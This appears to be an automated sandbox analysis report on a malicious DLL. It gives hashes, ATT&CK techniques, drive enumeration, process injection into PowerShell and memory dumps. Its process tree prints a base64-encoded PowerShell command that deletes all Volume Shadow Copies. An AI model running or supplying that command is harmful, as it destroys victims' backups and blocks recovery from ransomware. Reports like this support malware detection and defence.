f3f30bb665aa7b3fc7e52d02a26122c415b518f9f00066304e7d3d65e66a6e3c

General

Target

f3f30bb665aa7b3fc7e52d02a26122c415b518f9f00066304e7d3d65e66a6e3c.dll
Size

166KB
MD5

de11ff42a42c029bb91a5a0e174425b6
SHA1

79ac73fdf69faec1c571b54771d3a94ef3c1dde2
SHA256

f3f30bb665aa7b3fc7e52d02a26122c415b518f9f00066304e7d3d65e66a6e3c
SHA512

96a25dd02eb44ca25d07258caff66d6b6217d005afcbe344d5c542a659558fe0910be982ae87fd174ef7ea16470b558b6a26e97c97aab9a1fde19dab80cce514

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1460 rundll32.exe
676 powershell.exe

pid	process
1460	rundll32.exe
676	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1460	rundll32.exe
Token: SeDebugPrivilege	676	powershell.exe
Token: SeBackupPrivilege	520	vssvc.exe
Token: SeRestorePrivilege	520	vssvc.exe
Token: SeAuditPrivilege	520	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1108 wrote to memory of 1460	1108	rundll32.exe	rundll32.exe
PID 1460 wrote to memory of 676	1460	rundll32.exe	powershell.exe
PID 1460 wrote to memory of 676	1460	rundll32.exe	powershell.exe
PID 1460 wrote to memory of 676	1460	rundll32.exe	powershell.exe
PID 1460 wrote to memory of 676	1460	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\f3f30bb665aa7b3fc7e52d02a26122c415b518f9f00066304e7d3d65e66a6e3c.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\f3f30bb665aa7b3fc7e52d02a26122c415b518f9f00066304e7d3d65e66a6e3c.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:676

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:520

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/676-55-0x000007FEFBE11000-0x000007FEFBE13000-memory.dmp

Filesize
8KB

Download
memory/676-56-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/676-58-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/676-59-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/676-57-0x000007FEF2D50000-0x000007FEF38AD000-memory.dmp

Filesize
11.4MB

Download
memory/676-60-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/1460-54-0x0000000075431000-0x0000000075433000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads